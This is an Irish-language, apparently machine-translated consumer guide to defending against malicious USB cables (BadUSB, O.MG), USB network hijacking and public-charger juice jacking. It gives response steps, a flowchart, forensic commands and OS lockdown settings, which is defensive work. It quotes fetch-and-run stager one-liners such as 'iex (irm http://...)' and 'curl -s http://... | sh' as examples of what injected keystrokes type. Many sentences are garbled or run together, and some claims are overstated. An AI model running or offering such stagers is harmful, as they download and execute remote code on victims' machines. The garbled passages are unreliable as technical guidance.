Cáblaí USB Mailíseacha (Instealladh HID / BadUSB) agus Cosaint Both Poiblí¶

Do ríomhaire glúine, d'fhón cliste, nó do thaibléad a phlocáil isteach i gcorda luchtaithe USB-C nó Lightning neamhaithnidiúla atá fágtha taobh thiar ag deasc óstáin, geata aerfoirt, cúlseat rideshare, nó mála swag comhdhála, nó féach ar dialóg Windows Run (Win + R), fuinneog PowerShell, nó splanc Teirminéal macOS trasna do scáileáin ar feadh 500 milleasoicind agus tosaigh ag clóscríobh ag 1,000 focal in aghaidh an nóiméid díreach tar éis cábla USB, tiomántán splanc nó clicálaí láithreoireachta a nascadh, is é síniú ** BadUSB / HID (Gléas Comhéadain Daonna) Keystroke Instealladh Ionsaí** nó **Public Jacket Exploration (**Public Charging KioJusk") Murab ionann agus bogearraí mailíseacha traidisiúnta a stóráiltear mar chomhad ar thiomáint ordóg ar féidir le scanóirí frithvíreas a iniúchadh sula n-osclaítear iad, neadaíonn ionchlannáin chrua-earraí armtha ar nós an O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, agus USBHarpoon mionrialaitheoir agus raidió Wi-Fi go díreach taobh istigh de chónascaire plaisteacha múnlaithe Samsung, nó sliogán luchtaithe de chuid Samsung, nó sliogán luchtaithe de ghnáth-phlaisteach. 12 milliméadar nó 0.47 orlach ar fad).

Nuair a bheidh sé plugáilte isteach i do ríomhaire nó i d’fhón cliste gan ghlas, ní fhógraíonn an micrea-rialtóir folaithe sin é féin do do chóras oibriúcháin mar thiomáint stórála nó mar charger. Ina áit sin, áiríonn sé thar an USB D+ agus D- bioráin sonraí mar chaighdeán ** USB HID Méarchláir (Class 0x03)** nó ** Adaptóir Líonra Ethernet USB (RNDIS / ECM)**. Toisc go bhfuil muinín ó dhúchas ag Windows, macOS, Linux, iOS, agus Android as méarchláir nua-phlocáilte gan scanadh tiománaithe nó frithvíreas a bheith de dhíth orthu, scaoileann an cábla seicheamh eochairbhuillí réamhchláraithe láithreach (Win + R -> powershell -w hidden -ep bypass ... ar Windows, nó Cmd + Space -> Terminal ar macOS) nó a spreagann pálasta Wi-Fi cianrialaithe nuair a chliceálann ionsaitheoir laistigh de 90 méadar (300 troigh) "Rith" ar a ghuthán. Le haghaidh hotspot gan sreang níos leithne agus bagairtí líonra taistil in éineacht le calafoirt luchtaithe, féach freisin ar ár Wi-Fi poiblí, Evil Twin, agus treoir cosanta jacking sú. Má bhíonn bagairtí fisiceacha nó sracadh ort, cuir glaoch ar d’uimhir éigeandála áitiúil (911 sna Stáit Aontaithe agus i gCeanada, 112 ar fud an Aontais Eorpaigh, 999 sa Ríocht Aontaithe) nó féach ar ár uimhreacha éigeandála eolaire. Lean na gníomhartha láithreacha leithlisithe crua-earraí agus aisghabhála fóiréinseach thíos.

Déan é seo anois¶

1. YANK an cábla USB amhrasta, tiomántán splanc, duga, nó corda luchtaithe amach as port do gléas LÁITHREACH: Gach soicind fanann Cábla BadUSB nó O.MG plugáilte isteach i ríomhaire nó fón neamhghlasáilte ligeann dá mhicreathrialóir inmheánach (nó ionsaitheoir in aice láimhe atá ceangailte le hotspot inmheánach folaithe Wi-Fi an chábla) eochairbhuillí, cainéal a thaifeadann an ríomhchláraitheoir crua-earraí nó an ríomhchlár folaithe a thaifeadann eochairbhuillí nó ríomhlíonra folaithe. clóscríobhann tú ar do mhéarchlár seachtrach.
2. Dícheangail an ríomhaire glúine nó an fón atá buailte ó Wi-Fi, Ethernet, agus Bluetooth faoi láthair, agus NÁ clóscríobh aon fhocal faire ar an meaisín sin: Ní scríobhann an pálasta caighdeánach 2 soicind BadUSB / Rubber Ducky clár ollmhór thar an gcomhéadan mall méarchláir; ina ionad sin, clóscríobhann sé ordú “stager” 1-líne isteach i PowerShell (iex (irm http://...)) nó Críochfort macOS (curl -s http://... | sh) a íoslódálann infostealer iomlán nó trojan cianrochtana thar do nasc Wi-Fi. Má ghearrtar Wi-Fi agus Ethernet mharaíonn sé an t-íoslódáil láithreach nó stopann sé an dí-scagadh.
3. Má thapáil tú "Trust This Computer" ar do iPhone/iPad nó má roghnaigh tú "Aistriú Comhad (MTP) / Ceadaigh Dífhabhtaithe USB (ADB)" ar do ghuthán Android ag both luchtaithe poiblí, cúlghair muinín láithreach:
4. Ar iPhone / iPad: Díphlugáil an corda, téigh go Socruithe > Forbróir (má tá sé le feiceáil ag bun na Socruithe) -> sconna Clear Ríomhairí Iontaofa. Mura raibh an Forbróir infheicthe, téigh go dtí Socruithe > Ginearálta > Aistriú nó Athshocraigh iPhone > Athshocraigh > Athshocraigh Suíomh & Príobháideachas, rud a scriosann gach péireáilte go cripteagrafach lockdownd taifid phéireála óstach ionas nach mbeidh aon ríomhaire nó both in ann rochtain a fháil ar do chúltaca iPhone arís gan do phaschód.
5. Ar Android: Díphlugáil an corda, téigh go Socruithe> Córas> Roghanna forbróra (má tá sé cumasaithe) -> tapáil Cúlghair údaruithe dífhabhtaithe USB, agus cas Roghanna forbróra go hiomlán MÚCHT.
6. Déan iniúchadh ar an méid atá tar éis pálasta eochairbhuille BadUSB a chlóscríobh ar do ríomhaire trí do bhosca Rith a sheiceáil (RunMRU), Loga ordú PowerShell (PSReadLine), agus stair teirminéil macOS: Sula ndéanfaidh tú atosú, oscail fuinneog glan teirminéil ar do ríomhaire as líne agus léigh an t-ordú cruinn a chuir an méarchlár USB falsa isteach i do chóras ag baint úsáide as ár orduithe iniúchta fóiréinseach i gCéim 2.
7. Caomhnaigh an cábla USB amhrasach nó an tiomántán ordóg i gcoimeádán miotail nó i mála Faraday (NÁ plugáil ar ais isteach in aon ríomhaire é chun “a fheiceáil cad atá air”): Toisc go bhfuil trasghlacadóir Wi-Fi gníomhach ESP8266/ESP32 i gCábla O.MG a chumhachtaíonn gach uair a fhaigheann sé 5 volta (fiú nuair a phlocáiltear isteach i mála Faraday é), déanann USB balla-luchtaire brící nó cadhnra i bhfolach a chasadh isteach sa bhanc agus é i bhfolach. ligeann d’ionsaitheoir lasmuigh de do sheomra óstáin nó d’oifig nascadh leis nó a fhéinscrios a spreagadh (Self-Destruct / Wipe) gné. Fág unplugged go hiomlán é.
8. Má d’fheidhmigh pálasta BadUSB script ar do ríomhaire agus tú logáilte isteach, rothlaigh na dintiúir go léir agus cúlghair seisiúin ghníomhacha ó ghléas glan ar leith: Toisc go seolann 90 faoin gcéad d’uaslódálacha nua-aimseartha BadUSB infostealer a grabs fianáin brabhsálaí agus pasfhocail shábháilte i 3 soicind, déan ár fuadach fianán seisiúin agus treoir cúlghairm comharthaí infostealer ó smartphone glan.

Crann cinntí: freagairt do chábla USB mailíseach amhrasta nó do bhoth poiblí¶

Bain úsáid as an tsreabhchairt oirbheartaíochta seo le fáil amach an ndearnadh dochar do do ghléas tar éis duit cábla USB neamhiontaofa, duga, tiomántán ordóg nó stáisiún luchtaithe poiblí a phlocáil isteach:

flowchart TD
    Event["Plugáilte I gCábla USB Anaithnid, Tiomántán Splanc Aimsithe, Both Óstáin/Aerfoirt, nó Teirminéal Chonaic/Rith Flash Fuinneog ar an Scáileán"] --> Unplug["CÉIM 1: Díphlugáil Cábla USB / Gléas Láithreach & Dícheangail Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Cén Gléas a Plugáladh Sa Chorda USB nó Port Anaithnid?"}

    WhatDevice -->|"Windows, macOS, nó Linux Glúine / Deisce"| ScreenLocked{"An raibh an Scáileán Ríomhaire Glasáilte nó Díghlasáilte Nuair a bhí sé plugáilte isteach?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"An raibh an iPhone díghlasáilte, agus ar Thapáil Tú 'Iontaobhas' nó Féach Clóscríobh?"}
    WhatDevice -->|"Android Smartphone / Tablet"| AndroidState{"An raibh an Fón Díghlasáilte, nó An raibh 'USB Dífhabhtaithe (ADB)' Cumasaithe?"}

    ScreenLocked -->|"Díghlasáilte (Logáilte ar an Deasc)"| AssumeHID["ARD-RIOSCA: Is féidir le Cábla BadUSB / O.MG Eochairbhuillí (Win+R / Cmd+Space) a Rith i <1.5 Soicind Gan Aon Leid -> Téigh go dtí Céim 2 Iniúchadh Fóiréinseach"]
    ScreenLocked -->|"Faoi Ghlas (Scáileán Pasfhocal)"| NetworkDMA["Seiceáil ar tharla Thunderbolt/PCIe DMA nó USB Ethernet (Nimhiú RNDIS/DHCP); Ní Féidir Eochairbhuillí a Sheachbhóthar Scáileán Glas Gan Do Pasfhocal"]

    iOSState -->|"Faoi Ghlas Lánaimseartha (iOS 15+ / Mód Srianta USB)"| iOSSafe["SÁBHÁILTE: Déanann Apple 'Mód Srianta USB' Pionnaí Sonraí a Dhíchumasú go Fisiciúil ar iPhones Faoi Ghlas -> Cumhacht Pasaithe Amháin"]
    iOSState -->|"'Iontaobhas' díghlasáilte & tapáilte (Nó Chonaic Safari/Aicearraí Oscailte)"| iOSRevoke["Rith Láithreach: Socruithe > Ginearálta > Aistriú nó Athshocraigh iPhone > Athshocraigh > Athshocraigh Suíomh & Príobháideachas + Aicearraí Iniúchta"]

    AndroidState -->|"Faoi Ghlas Lánaimseartha (Mód Muirear Amháin)"| AndroidSafe["SÁBHÁILTE: Réamhshocruithe Nua-Aimseartha Android chuig 'Gan Aistriú Sonraí (Muirear Amháin)' -> Gan Sonraí a rith"]
    AndroidState -->|"Clóscríobh Scáileáin Díghlasáilte & Chonaic nó ADB/MTP Faofa"| AndroidRevoke["Díchumasaigh Roghanna Forbróirí -> Cúlghairm USB Dífhabhtaithe -> Seiceáil Aipeanna Suiteáilte & Íoslódálacha Chrome"]

A thuiscint conas a oibríonn BadUSB, Cáblaí O.MG, agus Ionsaithe Muirir Phoiblí i ndáiríre¶

Chun tú féin a chosaint go héifeachtach, agus gan freagairt ró-íseal d’ionchlannán crua-earraí agus scaoll thar chalafoirt luchtaithe neamhdhíobhálacha a sheachaint, ní mór duit na trí mheicníocht theicniúla ar leith a úsáideann ionsaitheoirí thar USB a thuiscint:

1. Instealladh Eochairbhuille BadUSB / HID (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• Locht Dearaidh Bunúsaigh USB: An Bus Srathach Uilíoch (USB( ) ceadaíonn sonraíocht do chónascaire fisiceach aonair é féin a dhearbhú mar aon aicme feiste le linn áireamhachta (bInterfaceClass), nó fiú mar Ghléas Ilchodach (á fhógairt go comhuaineach mar Thiomántán USB Flash * agus* mar mhéarchlár USB).
• ** Laistigh de Chábla O.MG nó de mhuirear mailíseach**: Ó thaobh amhairc de, tá Cábla O.MG 100 faoin gcéad do-aitheanta ó fhíor-braid nó bán Apple USB-C-go-USB-C, USB-C-go-Tintreach, nó cábla USB-A. Gearrann sé do ghuthán agus aistríonn sé sonraí de ghnáth. Mar sin féin, i bhfolach taobh istigh den bharr cónascaire gníomhach tá micrea-rialtóir dé-lárnach micreascópach le 802.11 Wi-Fi agus stóráil flash:
• Instealladh Gníomhach Eochrach: An nóiméad a phlocálann tú an cábla isteach i ríomhaire Windows, Mac nó fón cliste neamhghlasáilte, áiríonn an cábla mar ** Méarchláir HID ** cineálach agus clóscríobhann sé suas le 850 carachtar in aghaidh an tsoicind (DuckyScript). Laistigh de 1.5 soicind, brúigh sé Win + R (Windows) nó Cmd + Space (Mac), seolann sé sliogán cúlra i bhfolach, íoslódálann sé pálasta, agus dúnann sé an fhuinneog.
• Keylogger Crua-earraí Inlíne (Do Mhéarchláir USB Seachtracha): Má mhalartaíonn ionsaitheoir an cábla USB ag nascadh do mhéarchlár meicniúil seachtrach le do ríomhaire deisce le Cábla O.MG, suíonn an ionchlannán go ciúin i lár na sreinge agus taifeadann sé suas le 650,000 eochairbhuillí ** (lena n-áirítear do Bitwarden/1Password Master Password, pasfhocal logáil isteach Windows) a íoslódálann an t-ionsaí inmheánach BIOS, agus an t-ionsaí inmheánach a íoslódálann an BIOS. Wi-Fi.
• Lualaí Geafánaithe & Moillithe Ama: Murab ionann agus USB Rubber Ducky simplí $50 a chlóscríobhann a phálasta an toirt a bhfuil sé plugáilte isteach, is féidir le Cábla O.MG fanacht go hiomlán díomhaoin mar ghnáthchorda luchtaithe ar feadh laethanta nó seachtainí go dtí go n-aimsíonn sé do líonra Wi-Fi corparáideach (BSSID geofencing) nó go dtí go spreagann an t-ionsaitheoir é go cianda trína Chomhéadain Gréasáin ionsuite.

2. Fuadach Adaptor Líonra USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Fiú má tá scáileán do ríomhaire glúine ** faoi ghlas (Win + L nó Ctrl + Cmd + Q)** mar sin ní féidir le méarchlár USB bréige fuinneog teirminéil a oscailt, má chuirtear gléas USB mailíseach isteach i bport sonraí USB díghlasáilte is féidir leis an ngléas a áireamh mar ** Cuibheoir Ethernet Ardtosaíochta Gigabit USB (USB RNDIS nó CDC-ECM)**.
• Toisc go dtugann Windows agus macOS tosaíocht go huathoibríoch do chomhéadan Ethernet sreangaithe nua-nasctha thar Wi-Fi, is é an gléas USB an geata réamhshocraithe do ríomhaire glúine trí DHCP (0.0.0.0/1), idircheapann trácht líonra áitiúil gan chriptiú, freagraíonn WPAD / LLMNR / mDNS ceisteanna, nó siphons fianáin brabhsálaí cúlra nach mbaineann le HttpOnly.

3. Both Poiblí "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Nuair a phlocálann tú fón cliste isteach i gcalafort USB poiblí (ag aerfort, stáisiún traenach, ceannchlár óstáin, nó aonad coimeádta carranna ar cíos) ag baint úsáide as cábla rialta atá in ann sonraí:
• Cad atá bactha go huathoibríoch: Ós rud é ** iOS 11.4.1 / iOS 15+ (USB Restricted Mode)** agus Android 9+ (Charge-Only Default), má chuirtear fón isteach i bport sonraí USB, ní nochtfar do ghrianghraif nó do chomhaid go huathoibríoch. Cuirtear bac ar aistriú sonraí go dtí go ndíghlasálann tú an fón AGUS go sconna go sainráite ar "Iontaobhas don Ríomhaire seo" (móide cuir isteach do Phaschód iPhone) nó aistrigh de láimh fógra USB Android ó * Gan aistriú sonraí * go * Aistriú Comhad (MTP) * nó * Ceadaigh Dífhabhtú USB *.
• Cá bhfuil an fíorchontúirt ag bothanna poiblí:
  1. Instealladh ChoiceJacking & HID ar Fhóin Díghlasáilte: Mar a léirigh taighdeoirí slándála Ollscoil Teicneolaíochta Graz (ChoiceJacking(HID)** ar feadh 200 milleasoicind agus seol an ceann cruinn Tab / Enter nó eochairbhuillí cúnta a theastaíonn chun cliceáil ar an leid "Ceadaigh / Aistriú Comhad" duit ar do scáileán sula n-aistrítear chuig mód aistrithe sonraí an óstaigh.
  2. ** Cumhacht Salach / Damáiste Crua-earraí Ró-Volta (USB Killer)**: Is féidir le calafort USB poiblí sabotaged 200V DC a dhumpáil ó bhanc toilleora díreach isteach i sliseanna rialaitheora USB-C do ghutháin, ag friochadh an chláir loighic go buan.

Maitrís Comparáide: Crua-earraí Cosanta USB & Cosaintí OS¶

Céim 1: Conas Cábla USB Mailíseach a Bhrath go Fís agus go Leictreach (Iniúchadh Cábla O.MG)¶

Má aimsigh tú cábla USB amhrasach i d'oifig, ceangailte le cúl mhéarchláir do ríomhaire deisce, nó taobh istigh de do mhála taistil, lean na ceithre chéim seo chun a chinneadh an ionchlannán crua-earraí é:

1. Tástáil #1: Leanúnachas a Thomhas nó Úsáid Tástálaí Cábla Crua-earraí (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Ní bhíonn aon mhicreaphróiseálaí gníomhach ag tarraingt srutha i gcáblaí muirir caighdeánacha USB-A-go-USB-C, USB-A-go-Tintreach, nó neamh-mharcáilte USB-C nuair nach bhfuil ach foirceann amháin plugáilte isteach sa chumhacht.
3. Brathadóir Cábla Mailíseach O.MG (nó anailísí srutha USB/prótacal inlíne cosúil le Power-Z KM003C) a shuíonn idir an fhoinse cumhachta agus an cábla gan ** rud ar bith ceangailte le ceann thall an chábla**:
   • Má tharraingíonn cábla 30 go 120 milliamps (mA) den sruth ag 5V nuair nach bhfuil aon rud plugáilte isteach sa cheann eile, nó má dhéantar iarracht USB a chaibidliú D+/D- áireamh leis féin, tá ríomhaire gníomhach / raidió Wi-Fi i bhfolach taobh istigh de cheann an chábla.
4. Tástáil #2: Seiceáil do Phointí Rochtana Wi-Fi Hidden (O.MG SSIDanna réamhshocraithe nó Réimíreanna MAC ESP32):
5. Úsáideann cáblaí O.MG agus ionchlannáin BadUSB gan sreang ** Espressif (ESP8266 / ESP32-S2 / ESP32-C3)** Sliseanna Wi-Fi taobh istigh den bhlaosc cónascaire.
6. Trí úsáid a bhaint as banc ceallraí USB leithlis taobh istigh de limistéar iargúlta/iargúlta (do ríomhaire riamh), is minic a chraolann cumhacht cábla O.MG neamhchumraithe nó réamhshocraithe líonra Wi-Fi 2.4 GHz (SSID réamhshocraithe O.MG ag 192.168.4.1, nó SSID folaithe le Seoladh MAC / BSSID OUI de chuid Espressif Inc. mar shampla 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, mura rud é go spoofed).
7. Tástáil #3: Déan Iniúchadh ar Fad Overmold agus Giniúint Teasa an Chónascaire:
8. Déan comparáid idir an bhlaosc plaisteach brú-faoisimh den chábla amhrasta agus cábla fíor-aitheanta Apple nó Anker taobh le taobh:
   • Cé go bhfuil na glúine Cábla O.MG le déanaí ag teacht le toisí cruinne Apple, tar éis 3 nóiméad tar éis cumhacht 5V a fháil, beidh an ceann cónascaire ina bhfuil an microcontroller gníomhach Wi-Fi ag mothú ** go suntasach te (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** idir do mhéar fiú nuair nach bhfuil aon ghuthán ag luchtú ar an taobh eile. (Tá gnáthchábla éighníomhach gan aon rud plugáilte isteach sa cheann i bhfad fós fuar go hiomlán ag teocht an tseomra.)

Céim 2: Triáis Fhóiréinseach Má chlóscríobhadh Cábla BadUSB nó O.MG ar Do Ríomhaire¶

Má plugáil tú cábla USB, tiomántán ordóg, nó forimeallach isteach i do ríomhaire glúine Windows, Mac nó Linux agus má chonaic tú an roghchlár Tosaigh, Rith dialóg (Win + R), Spotsolas (Cmd + Space), nó splanc fuinneoige teirminéil dubh/gorm a oscailt agus a dhúnadh, ná atosaigh go fóill. Rith na horduithe cruinne seo as líne chun a fheiceáil cad a chlóscríobh an méarchlár USB falsa agus cén ID Díoltóra/Táirge USB (VID:PID) ceangailte le do phort:

1. Iniúchadh Fóiréinseach Windows 10 & Windows 11 (Rith i PowerShell As Líne)¶

Oscail ** PowerShell (Riarachán)** ar an ríomhaire Windows as líne agus rith na ceithre ordú fóiréinseacha seo:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Conas a léirmhíniú Get-ItemProperty ... RunMRU:
• Tosaíonn beagnach gach script Windows BadUSB / Rubber Ducky trí bhrú Win + R (GUI r in DuckyScript) agus ordú a chlóscríobh mar powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex nó cmd /c curl ....
• Fiú má dhéanann an script iarracht a scriosadh RunMRU ag an deireadh, má chuir tú an cábla amach i lár an fhorghníomhaithe (nó murar ghlan an script an chlár), suífidh an URL agus an t-ordú mailíseach díreach taobh istigh RunMRU (a, b, c luachanna) nó taobh istigh ConsoleHost_history.txt.

2. Iniúchadh Fóiréinseach Apple macOS (Rith i gCríochfort As Líne)¶

Ar macOS, is gnách go mbíonn ualaí pá BadUSB ag brú Cmd + Space (GUI SPACE), cineál Terminal, brúigh Enter, agus rith a curl nó osascript aon líneáil:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Iniúchadh Fóiréinseach Linux (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Má thaispeánann aon cheann de na logaí thuas go bhfuil a powershell, cmd, mshta, curl, wget, nó osascript feidhmíodh an t-ordú agus tú ceangailte leis an idirlíon, glac leis gur ritheadh infostealer nó cúldhoras leanúnach: cúlghair gach seisiún ag baint úsáide as ár fuadach fianán seisiúin agus treoir infostealer agus athshuiteáil OS glan a dhéanamh tar éis ár malware, ransomware, agus treoir maidir le hionfhabhtuithe spyware.

Céim 3: Ag Glasáil Do Ghléasanna Mar sin ní Féidir le Cáblaí BadUSB Feidhmiú Uathoibríoch choíche¶

Áirítear le córais oibriúcháin nua-aimseartha anois glais chalafoirt crua-earraí ionsuite cumhachtacha a **neodraíonn BadUSB, cáblaí O.MG, agus Rubber Duckies ** go hiomlán sular féidir leo carachtar amháin a chlóscríobh, ar choinníoll go gcuireann tú na socruithe sin ar siúl:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Cumasaigh "Iarr Accessories Nua"¶

Ar Apple Silicon Macs ag rith macOS Ventura, Sonoma, nó Sequoia, thug Apple isteach údarú calafoirt USB-C/Thunderbolt ar leibhéal crua-earraí a chuireann bac ar aon chábla USB nó feiste nua a áireamh mar mhéarchlár go dtí go gcloíonn tú go sainráite "Ceadaigh": 1. Oscail Roghchlár Apple () > Socruithe an Chórais > Príobháideacht & Slándáil. 2. Scrollaigh síos go dtí an roinn Slándáil agus aimsigh "Ceadaigh gabhálais chun ceangal". 3. Athraigh é ó Uathoibríoch Nuair atá Díghlasáilte go "Iarr Gabhálais Nua" (nó "Fiafraigh Gach Uair" le haghaidh uaschosaint taistil ardslándála). 4. Cén fáth a stopann sé seo Cáblaí O.MG fuar ar Mac: Nuair a phlocálann tú cábla luchtaithe O.MG mealltach le "Fiafraigh Gach Uair" nó "Iarr ar Gabhálais Nua" cumasaithe, sreabhann an chumhacht láithreach chun do cheallraí MacBook a luchtú, ach tagann macOS le léamh dialóige rabhaidh: "Allow accessory '[Device Name]' to connect to this Mac?" Toisc nach n-iarrann gnáthchábla luchtaithe éighníomhach nascadh mar chúlpháirtí sonraí, feiceann an pop-up nuair a phlocáiltear isteach corda luchtaithe simplí ** láithreach an cábla a nochtadh mar ionchlannán crua-earraí** agus 100 faoin gcéad dá eochairbhuillí á bhlocáil go dtí go ndíphlugálann tú é.

2. Apple iPhone & iPad: Fíoraigh "Mód Srianta USB" Cumasaithe¶

1. Oscail Socruithe > Face ID & Paschód (nó Touch ID & Paschód) agus cuir isteach do phaschód.
2. Scrollaigh síos go dtí an rannán "Ceadaigh Rochtain Nuair atá Faoi Ghlas".
3. Cinntigh go bhfuil an scorán in aice le Gabhálais (nó Gabhálais USB) múchta **** (liath).
4. Le Gabhálais ** múchta, gach uair a bhíonn do iPhone glasáilte, díchumasaíonn iOS na bioráin sonraí USB go fisiciúil, rud a fhágann nach n-éireoidh ach le cumhacht luchtaithe. Brúigh an cnaipe taobh i gcónaí chun scáileán do iPhone a ghlasáil SULA n-úsáidtear é a phlocáil isteach in aon mhuirearóir nó carr ar cíos nach bhfuil aithne aige air.

3. Android 15 / 16 & GrapheneOS: Cumasaigh "Ardchosaint" / Glas Port USB¶

• Ar Android caighdeánach (Pixel, Samsung Galaxy):
• Ná fág Roghanna Forbróra > Dífhabhtaithe USB (ADB) cumasaithe agus tú ag taisteal.
• I Socruithe> Slándáil & príobháideacht> Tuilleadh socruithe slándála (nó Ardchosaint ar Android 15/16+), cumasaigh cosaint USB / Cuir bac ar fheistí USB nua agus iad faoi ghlas.
• Cuir glas ar do scáileán i gcónaí sula nascann tú le calafort luchtaithe poiblí ar bith ionas nach féidir le hionsaithe HID ChoiceJacking idirghníomhú le scáileán díghlasáilte.

4. Linux & Windows Enterprise: USBGuard agus Srianta le Suiteáil Gléas¶

• ** ar Linux (USBGuard)**: Suiteáil an usbguard deamhan (sudo apt install usbguard), a chuireann bac ar aon fheiste USB nua-nasctha á dhearbhú bInterfaceClass 03 (Méarchláir HID) má tá méarchlár príomhúil ceangailte cheana féin nó go dtí go n-údaraítear go sainráite é usbguard allow-device.
• Ar Windows 11 Pro / Enterprise: Cumasaigh Cosaint Eithne DMA (BitLocker + VBS) in Slándáil Windows > Slándáil Ghléis > Aonrú Croí chun stop a chur le hionsaithe Thunderbolt/PCIe DMA, agus glasáil do stáisiún oibre i gcónaí (Win + L) roimh aon chábla USB coimhthíoch a phlugáil isteach ionas nach féidir le hinsteallairí eochairbhuillí teacht ar bhlaosc deisce logáilte isteach.

Ceisteanna coitianta¶

An féidir le cábla mailíseach O.MG nó corda BadUSB mo ghuthán iPhone nó Android a hack mura n-líonaim ach é agus scáileán mo ghutháin faoi ghlas?¶

Má tá do iPhone Socruithe > Aitheantas Aghaidhe & Paschód > Ceadaigh Rochtain Nuair atá Glasáil > Gabhálais iompaithe AS (an réamhshocrú ar iOS 15 trí iOS 18) agus tá do scáileán glasáilte nuair a phlocálann tú an cábla, ní féidir le haon sonraí nó eochairbhuillí teacht ar do iPhone toisc go ndíchumasaíonn iOS na línte sonraí USB ag leibhéal an rialtóra crua-earraí go dtí go ndíghlasálann tú an fón le Face ID nó le do phasfhocal. Mar sin féin, an nóiméad a dhíghlasálann tú do iPhone agus an Cábla O.MG sin fós plugáilte isteach, is féidir leis an gcábla a áireamh mar mhéarchlár seachtrach USB agus aicearraí méarchláir iOS a sheoladh go tapa (mar shampla Cmd + Spás chun Spotsolas a oscailt, Safari a oscailt chuig URL próifíle fioscaireachta/cumraíochta, nó tús a chur le hAicearraí Apple). Ná coinnigh cábla USB aimsithe nó neamhiontaofa riamh plugáilte isteach agus do ghuthán á dhíghlasáil.

Conas is féidir liom an difríocht idir cábla USB fíor "Muirear Amháin" agus gnáthchábla sonraí USB a insint?¶

Toisc gur annamh a dhéanann monaróirí siombailí a phriontáil ar cháblaí a dhéanann idirdhealú idir cordaí luchta amháin agus cordaí sonraí, is é an tástáil shábháilte is éasca ná an cábla a phlugáil idir ríomhaire agus seanfheiste neamhchriticiúil (nó úsáid a bhaint as tástálaí leanúnachais pinout cábla USB inlíne $10 mar an Tástálaí Cábla USB Treedix, a lasann soilse aonair do gach sreang inmheánach gan aon mhicririaltóir a bhrú). Ar chlár tástálaí leanúnachais, fíor Muirear-Ach cábla lasfaidh suas amháin VBUS agus GND (2 LED), ach lasfaidh cábla atá in ann sonraí freisin D+ agus D- (agus CC1/TX/RX ar USB-C). Nó, coinnigh tiomnaithe adapter fisiciúil USB Data Blocker ceangailte go buan le barr do chorda luchtaithe taistil áit ar féidir leat breathnú go fisiciúil taobh istigh den phort baineann agus a fhíorú le do shúile féin go bhfuil na bioráin lár sonraí ar iarraidh.

An bhfuil sé sábháilte mo chábla muirir féin a phlugáil isteach san asraon cumhachta AC (soicéad balla 2-prong / 3-prong) ag aerfort nó óstán in ionad an chalafoirt USB ionsuite?¶

Sea, 100 faoin gcéad sábháilte. Ní iompraíonn soicéad balla leictreach caighdeánach 110V / 230V AC (nuair a phlocálann tú do bríce cumhachta Apple, Samsung nó Anker féin) ach cumhacht leictreach srutha ailtéarnaigh agus tá naisc sonraí nialasach aige atá in ann cumarsáid a dhéanamh le rialtóir USB do ghutháin. Chomh fada agus a úsáideann tú do bríce adapter balla AC iontaofa féin agus do chábla USB iontaofa féin, ní féidir le haerfort nó óstán AC ionsaithe Jacking Juice nó BadUSB a dhéanamh.

Cén fáth ar tháinig Windows aníos "Gléas a shocrú: Gléas Méarchláir HID" nuair a phlocáil mé tiomántán USB flash nó charger vape/r-toitíní?¶

Nuair a fheiceann tú Windows taispeánann léamh fógra tósta "Gléas a shocrú: Gléas Méarchláir HID" nuair a plugged tú isteach rud éigin go bhfuil nach bhfuil Is é méarchlár (cosúil le tiomántán USB flash, cábla luchtaithe, gaothrán saor deisce, fráma grianghraf digiteach, nó luchtaire vape) an gunna tobac #1 dothuigthe de a Ionsaí Instealladh Keystroke BadUSB / HID. Ní gá riamh aon tiomántán splanc dlisteanach nó cábla luchtaithe a chlárú le Windows mar mhéarchlár. Dícheangail an gléas láithreach, dícheangail ó Wi-Fi, agus rith an PowerShell RithMRU agus PSReadLine orduithe iniúchta i gCéim 2 féachaint cén ordú a chlóscríobh an méarchlár falsa sin.

